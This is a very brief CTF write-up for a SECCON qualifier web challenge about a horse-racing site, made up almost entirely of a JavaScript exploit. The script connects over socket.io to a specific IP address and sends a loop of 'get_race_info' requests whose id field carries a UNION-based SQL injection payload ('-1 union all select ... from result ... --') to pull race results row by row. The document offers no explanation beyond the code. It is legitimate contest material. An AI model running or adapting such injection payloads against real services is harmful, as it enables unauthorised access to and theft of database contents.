seccon quals seccon競馬 writeup

web400.js

var socket = io.connect('http://133.242.52.129');

for(p in socket_routes){
  socket.on(p, (function(p) {
    return function(message){
      console.log(message.data && 'waku:' + message.data.id, message.data && 'rank:' + message.data.seq)
    };
  })(p));
}

for (var i=0;i<17;++i) {
  socket.emit('get_race_info', {id: "-1 union all select waku,rank,null,null,null,null,null from result where race_id=0  limit "+i+",1 --"});
}